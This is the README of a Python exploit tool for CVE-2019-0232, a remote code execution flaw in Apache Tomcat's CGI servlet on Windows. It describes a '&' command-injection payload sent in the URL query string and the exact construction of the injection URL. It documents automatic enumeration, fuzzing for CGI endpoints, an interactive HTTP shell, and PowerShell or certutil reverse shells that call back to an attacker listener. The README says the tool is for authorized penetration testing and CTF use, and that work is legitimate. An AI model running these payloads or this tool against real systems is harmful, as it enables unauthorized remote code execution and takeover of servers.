
Apache Tomcat CGI Servlet RCE (Windows)
Educational PoC for authorized CTF / penetration testing only.
Running this against systems you do not own or have explicit written permission to test is illegal.
CVE-2019-0232 is a Remote Code Execution vulnerability in Apache Tomcat on Windows.
When the CGI Servlet has enableCmdLineArguments=true (the default on Windows before the patch), Tomcat passes the HTTP query string directly as command-line arguments to the CGI batch file via Runtime.exec(). On Windows, Runtime.exec() wraps the call with cmd.exe /c, making the & command separator active inside those arguments.
An attacker can inject a second OS command by including & (URL-encoded as %26) in the URL:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits
| Branch | Vulnerable Range | Fixed In |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Requirement: enableCmdLineArguments=true in conf/web.xml (default on Windows pre-patch).
-w)--cmd)certutil stager (fallback)System32, Windows, Wbem, PowerShell so whoami, ipconfig, netstat, powershell.exe all work without full paths2>&1 appended automatically so error output is visible--proxy http://127.0.0.1:8080git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8+ required.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
| Flag | Description |
|---|---|
--auto | Enum → fuzz → drop into interactive shell |
--enum | Enumerate Tomcat version and CGI paths only |
--fuzz | Fuzz for accessible .bat/.cmd endpoints |
--cmd COMMAND | Execute a single command |
--interactive | Interactive HTTP shell loop |
--reverse-shell | Spawn a reverse shell (requires --lhost) |
Auto mode — let the script find everything:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Single command on a known endpoint:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Interactive shell loop:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Full auto chain → reverse shell (no separate nc needed):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
The script opens its own TCP listener on --lport, fires the PowerShell payload, and drops you into an interactive shell when the target calls back.
PowerShell reverse shell on a known path:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
certutil stager (if PowerShell is blocked):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Custom wordlist for fuzzing:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Entries without a file extension are automatically probed as both .bat and .cmd.
Route through Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Show the raw injection URL before each request:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / required:
-t, --target URL Target base URL e.g. http://10.10.10.x:8080
path:
-p, --path PATH Known CGI script path e.g. /cgi/cmd.bat
modes:
--auto Full chain: enum → fuzz → interactive
--enum Enumerate Tomcat version and CGI paths
--fuzz Fuzz for accessible CGI script endpoints
--cmd COMMAND Run a single command and print output
--interactive Interactive command loop (HTTP shell)
--reverse-shell Send PowerShell reverse shell
reverse shell:
--lhost IP Your listener IP (use tun0 for HTB/OSCP)
--lport PORT Your listener port (default: 4444)
--shell-method {ps,certutil}
Payload type: ps (default) or certutil stager
options:
-w, --wordlist FILE Extra CGI names to fuzz (one per line)
--threads N Fuzz threads (default: 15)
--timeout N HTTP timeout in seconds (default: 10)
--proxy URL HTTP proxy e.g. http://127.0.0.1:8080
--no-ssl-verify Disable TLS certificate verification
--show-url Print the full injection URL before each request
The script builds the injection URL in three steps:
PATH injection — wraps your command in a group that sets PATH first:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
The echo. outputs a blank line, satisfying Tomcat's CGI header parser so the response body is visible.
URL encoding — spaces become +, special chars become %XX via urllib.parse.quote.
Injection point — the encoded group is placed after %26 (the & separator):
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
This tool is provided for educational purposes and authorized security testing only.
The author is not responsible for any misuse or damage caused by this tool.
Always obtain explicit written permission before testing any system.